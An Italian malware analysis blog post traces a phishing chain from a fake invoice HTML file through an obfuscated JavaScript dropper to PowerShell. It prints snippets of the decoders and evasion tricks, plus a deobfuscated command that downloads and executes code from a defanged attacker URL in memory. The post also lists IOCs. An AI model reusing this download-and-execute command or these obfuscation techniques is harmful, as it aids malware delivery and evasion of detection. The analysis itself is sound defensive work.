In questo post, analizzeremo una catena di attacco multi-stage che parte da un semplice file HTML e mira a eseguire un payload PowerShell direttamente in memoria. Vedremo come gli attaccanti utilizzano tecniche di offuscamento a più livelli, e anche qualche errore di programmazione, per eludere il rilevamento.

Fase 1: Honeypot & Fattura HTML

spam

L’analisi ha avuto inizio quando abbiamo ricevuto un’email di phishing su una delle nostre caselle di posta honeypot. L’email, che invitava a scaricare una presunta fattura, conteneva in allegato il file HTML che ha dato il via alla catena di attacco: IT[REDACTED].html.

Una volta aperto, il file presenta una logica interessante:

  • Rilevamento del sistema operativo: Lo script all’interno della pagina controlla la stringa navigator.userAgent per determinare se il sistema operativo è Windows.
  • Ingegneria sociale:
    • Se l’utente non sta usando Windows, viene visualizzato un messaggio che informa che il download è disponibile solo da PC, per “garantire un’esperienza sicura e compatibile”. Questa è una tattica intelligente per evitare di allertare l’utente su dispositivi non target (come smartphone) e assicurarsi che il malware venga eseguito sull’ambiente desiderato.
    • Se l’utente sta usando Windows, viene mostrata la vera pagina di download con un pulsante “Scarica Fattura”.

invoice

Cliccando il pulsante, viene eseguita una funzione JavaScript che decodifica un URL e avvia il download del payload successivo. La decodifica avviene tramite una semplice operazione XOR su una serie di numeri codificati, un primo, leggero livello di offuscamento.

invoice-source

Fase 2: Dropper JavaScript & offuscamento

Il file scaricato è uno script JavaScript, Fattura[REDACTED].js, pesantemente offuscato per nascondere il suo vero scopo. Analizzandolo si è potuta rilevare una struttura complessa progettata per costruire ed eseguire un comando PowerShell.

invoice_js

L’analisi del file Fattura[REDACTED].js mostra diverse tecniche di evasione e offuscamento:

“Sporcare” il codice per confondere l’analisi

cleanup

La prima cosa che salta all’occhio aprendo il file Fattura[REDACTED].js è la presenza di centinaia di righe di commenti contenenti parole casuali. Questa tecnica serve a “sporcare” il file per ingannare i sistemi di rilevamento basati su firme e per rendere più difficile l’analisi manuale.

// overcomes prelecting stater detribalizing radiobiologist gossiper prosiness
// rehydrates fiberfills hedgehops outrung juggernaut subfiles plaiting
// ... (molte altre righe) ...
var zLV4U0uYRXLELJqNT35vra = [
    // ... codice malevolo ...
];

Offuscamento del payload

invisible

Il codice malevolo vero e proprio è nascosto all’interno di una variabile, un array contenente sia i dati codificati che le funzioni per decodificarli.

La decodifica avviene in due passaggi:

  1. decodeFromCharset: Una prima funzione prende un array di numeri e lo converte in una stringa utilizzando un set di caratteri predefinito. Questo trasforma l’array numerico in una stringa ancora illeggibile.
    // Esempio di dati codificati (parziale)
    [ 61, 57, 54, 62, 26, 64, 43, 64, 45, 63, ... ]
    
    // La funzione che li decodifica
    function decodeFromCharset(numberArray) {
        var resultString = "";
        var charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789<>|\\:._";
        for (var i = 0; i < numberArray.length; i++) {
            resultString += charset.charAt(numberArray[i]);
        }
        return resultString;
    }
    
  2. xorDecrypt: La stringa risultante viene poi passata a una seconda funzione che esegue una decodifica XOR utilizzando una chiave numerica (in questo caso 924) per rivelare finalmente la porzione di codice PowerShell.

Tecniche Anti-Analisi: attese e un loop “rotto”

obfuscation

Per eludere le sandbox automatiche (ambienti virtuali che eseguono file sospetti per un tempo limitato), il malware impiega due tecniche di ritardo:

  1. Attesa statica: Viene utilizzata una semplice chiamata WScript.Sleep(19000) per mettere in pausa l’esecuzione per 19 secondi.
  2. Ciclo ricorsivo: Viene invocata una funzione ricorsiva (executePayload) che dovrebbe ciclare per un numero casuale di volte per perdere ulteriore tempo. Tuttavia, qui gli attaccanti hanno commesso un errore: la funzione viene chiamata passando un solo parametro, mentre la logica ricorsiva ne richiederebbe due.
    // Definizione della funzione (semplificata)
    function executePayload(startCounter, endCounter) {
        if (startCounter < endCounter) {
            // Chiamata ricorsiva ERRATA nel codice originale
            return executePayload(startCounter + 1); // Manca endCounter!
        }
        // ... codice malevolo ...
    }
    
    // Chiamata alla funzione
    executePayload(randomStart, randomEnd);
    
    facepalm A causa di questo bug, il confronto startCounter < endCounter fallisce quasi subito (poiché endCounter è undefined), rendendo questa tecnica anti-analisi quasi del tutto inefficace.

Fase 3: Payload PowerShell

cat_gun

Il comando JavaScript infine esegue uno script PowerShell offuscato.

Anche qui troviamo tecniche simili per confondere l’analisi:

  • Variabili e array inutilizzati: Vengono dichiarate variabili che non hanno alcuno scopo, come $jienhsty8uali=('jungle','fried', 'flat'), il cui unico fine è quello di aggiungere “rumore” per un analista.
  • Offuscamento dei comandi: I comandi chiave di PowerShell sono costruiti dinamicamente per non apparire in chiaro nel codice.
    • Il comando curl viene costruito unendo stringhe e poi mascherato creando un alias:
      $dzrnbokwc='ur';
      set-alias duglen c$($dzrnbokwc)l; # Risultato: set-alias duglen curl
      
    • Il comando Invoke-Expression (iex) viene generato tramite calcoli matematici e concatenazione di stringhe, rendendolo irriconoscibile a una scansione statica:
      # ((200 + 30) - (100 + 25)) --> 105 (codice ASCII per 'i')
      # 'i' + 'e' + 'x' --> "iex"
      .$([char](((200 + 30) - (100 + 25)))+'e'+'x')
      
  • Decodifica dell’URL: Una lunga stringa di numeri viene processata con un’operazione XOR (usando la chiave 76) per rivelare l’URL del payload finale: http://todaynews123[.]com/1.php?s=F7E06EF7-F0BB-4AA5-BE95-AC8146E55937.

Fase 4: Esecuzione in Memoria

good

L’obiettivo finale dello script PowerShell è scaricare il contenuto dall’URL e eseguirlo direttamente in memoria, senza mai scriverlo su disco.

# Il comando finale, una volta deoffuscato, diventa:
Invoke-Expression (curl -UseBasicParsing "http://todaynews123[.]com/1.php?s=F7E06EF7-F0BB-4AA5-BE95-AC8146E55937")

Questa tecnica, nota come esecuzione fileless, è particolarmente efficace perché aggira molte soluzioni antivirus tradizionali che si concentrano sulla scansione dei file su disco.

Conclusioni e Indicatori di Compromissione (IOCs)

Questa campagna malevola dimostra una chiara progressione di tecniche di offuscamento e di evasione, nonostante qualche errore di implementazione.

Indicatori di Compromissione (IOCs):

  • URL: http://todaynews123[.]com/1.php?s=F7E06EF7-F0BB-4AA5-BE95-AC8146E55937
  • IP (storico): 82[.]112[.]240[.]106

È importante notare che, al momento dell’analisi, l’infrastruttura dell’attaccante non è più attiva. Una richiesta DNS per il dominio todaynews123[.]com non restituisce alcun record A, indicando che non risolve più a un indirizzo IP. Dati storici recuperati da VirusTotal mostrano che in passato il dominio era associato all’IP 82[.]112[.]240[.]106. Tuttavia, anche questo indirizzo risulta inattivo e non espone alcun servizio, né sulla porta 80 né su altre porte, confermando che la catena di attacco è stata interrotta.

screaming